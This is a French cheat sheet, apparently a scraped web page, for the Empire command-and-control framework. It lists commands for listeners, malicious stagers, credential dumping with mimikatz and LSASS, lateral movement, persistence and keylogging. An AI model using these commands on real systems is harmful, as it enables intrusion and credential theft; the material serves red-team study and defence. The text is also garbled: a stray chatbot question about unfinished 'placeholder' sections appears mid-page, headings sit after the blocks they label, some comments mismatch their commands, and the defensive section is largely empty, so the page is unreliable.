Aller au contenu

Aide-mémoire du Framework Empire

Vue d’ensemble

Empire est un framework de post-exploitation qui comprend un agent Windows pure PowerShell 2.0 et un agent Linux/macOS pure Python 3. Il fournit une infrastructure de commande et de contrôle (C2) puissante pour les opérations de red team, les tests de pénétration et l’émulation d’adversaire.

⚠️ Avertissement : Empire est un outil de test de sécurité qui ne doit être utilisé que dans des environnements pour lesquels vous avez une autorisation explicite.

Installation

Depuis GitHub

# Clone the repository
git clone https://github.com/BC-SECURITY/Empire.git

# Navigate to the directory
cd Empire

# Run the installation script
sudo ./setup/install.sh

Utilisant Docker

# Pull the Docker image
docker pull bcsecurity/empire:latest

# Run the container
docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire:latest

Sur Kali Linux

# Install from package manager
sudo apt update
sudo apt install powershell-empire

Utilisation de base

Démarrer Empire

# Start the Empire server
sudo empire

# Start with REST API (for Starkiller)
sudo empire --rest --username <username> --password <password>

Utiliser Starkiller (Interface graphique)

# Install Starkiller
npm install -g @starkiller/starkiller

# Run Starkiller
starkiller
CommandeDescription
helpAfficher le menu d’aide
menuRetourner au menu principal
backRevenir au niveau de menu précédent
exitExit Empire
usemodule <module>Sélectionnez un module à utiliser
usestager <stager>Sélectionnez un stager à utiliser
uselistener <listener>Sélectionnez un listener à utiliser
interact <agent>Interagir avec un agent
searchmodule <term>Rechercher des modules

Listeners

Créer un Listener

# In Empire CLI
listeners
uselistener http
set Name http_listener
set Host 192.168.1.100
set Port 8080
execute

Options Courantes de Listener

OptionDescription
NameNom pour l’auditeur
HostIP/hostname pour staging
PortPort pour l’auditeur
CertPathChemin de certificat pour HTTPS
DefaultDelayDélai de rappel de l’agent (en secondes)
DefaultJitterGigue dans les callbacks d’agent (0.0-1.0)
DefaultProfileProfil de communication par défaut
KillDateDate pour que l’auditeur quitte (MM/DD/YYYY)
WorkingHoursHeures pour le rappel de l’agent (09:00-17:00)

Gestion des Listeners

# List all listeners
listeners

# Kill a listener
kill http_listener

# View a listener's options
info http_listener

Stagers

Générer un Stager

# In Empire CLI
usestager windows/launcher_bat
set Listener http_listener
generate

Types de Stagers Courants

StagerDescription
windows/launcher_batLanceur de fichier BAT
windows/launcher_vbsLanceur de script VBS
windows/launcher_powershellLanceur PowerShell
multi/launcherLanceur multi-plateforme
osx/launcherlanceur macOS
linux/launcherLanceur Linux
windows/dllLanceur DLL
windows/macroLanceur de macros Office
windows/htaLanceur HTA

Agents

Commandes d’Agent

# List all agents
agents

# Interact with an agent
interact C2AGENT123

# Get agent info
info

# Execute a shell command
shell whoami

# Run a PowerShell command
powershell Get-Process

# Upload a file
upload /path/to/local/file /path/on/target

# Download a file
download /path/on/target /local/path

# Take a screenshot
screenshot

# Exit agent menu
back

Gestion des Agents

# Rename an agent
rename C2AGENT123 new_name

# Kill an agent
kill C2AGENT123

# Remove an agent from the database
remove C2AGENT123

# Set sleep interval
sleep 30

# Set jitter percentage
sysinfo

Modules

Utilisation des Modules

# List available modules
usemodule

# Search for modules
searchmodule credentials

# Use a specific module
usemodule powershell/situational_awareness/network/powerview/get_user

# Set module options
set Username administrator

# Execute the module
execute

Catégories Courantes de Modules

Accès aux Identifiants

# Dump credentials from memory
usemodule powershell/credentials/mimikatz/logonpasswords

# Dump SAM database
usemodule powershell/credentials/sam

# Dump LSASS process
usemodule powershell/credentials/credential_injection/lsass_dump

Conscience Situationnelle

# Get domain users
usemodule powershell/situational_awareness/network/powerview/get_user

# Get domain computers
usemodule powershell/situational_awareness/network/powerview/get_computer

# Get domain groups
usemodule powershell/situational_awareness/network/powerview/get_group

Mouvement Latéral

# WMI lateral movement
usemodule powershell/lateral_movement/invoke_wmi

# PSExec lateral movement
usemodule powershell/lateral_movement/invoke_psexec

# WinRM lateral movement
usemodule powershell/lateral_movement/invoke_winrm

Persistance

# Registry persistence
usemodule powershell/persistence/userland/registry

# Scheduled task persistence
usemodule powershell/persistence/userland/schtasks

# WMI persistence
usemodule powershell/persistence/elevated/wmi

Fonctionnalités Avancées

Profils C2 Modifiables

Would you like me to continue with the remaining sections that are currently marked with placeholders (3-20)?```

In Empire CLI

profiles use default set DefaultProfile /path/to/profile.profile

Set agent kill date

set KillDate 01/01/2025

Set working hours

set WorkingHours 09:00-17:00

Increase agent sleep time

sleep 300 30

Use keylogging module

usemodule powershell/collection/keylogger

Use clipboard monitoring

usemodule powershell/collection/clipboard_monitor

Use screenshot module

usemodule powershell/collection/screenshot


### Problèmes Courants
```bash
   # Check if the listener is running
   listeners

   # Verify firewall settings
   sudo iptables -L

   # Check for port conflicts
   netstat -tuln|grep <port>
   ```**Problèmes de Connexion**
```bash
   # Verify agent is running
   agents

   # Check for network connectivity issues
   # Verify sleep/jitter settings
   # Check module requirements
   info

   # Verify agent privileges
   shell whoami

   # Try running in a different process context
   usemodule powershell/management/psinject
   ```**Agent Ne Vérifiant Pas**
```powershell
# Enable PowerShell Script Block Logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1

# Enable PowerShell Module Logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging" -Value 1

# Enable Constrained Language Mode
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"

https://github.com/BC-SECURITY/Empire Échecs d’Exécution de Module https://bc-security.gitbook.io/empire-wiki/

Mesures Défensives

Méthodes de Détection

  • Journalisation des Blocs de Script PowerShell
  • Journalisation des Modules PowerShell
  • AMSI (Antimalware Scan Interface)
  • Analyse du trafic réseau
  • Analyse comportementale

Techniques de Prévention

https://github.com/BC-SECURITY/Starkiller

Ressources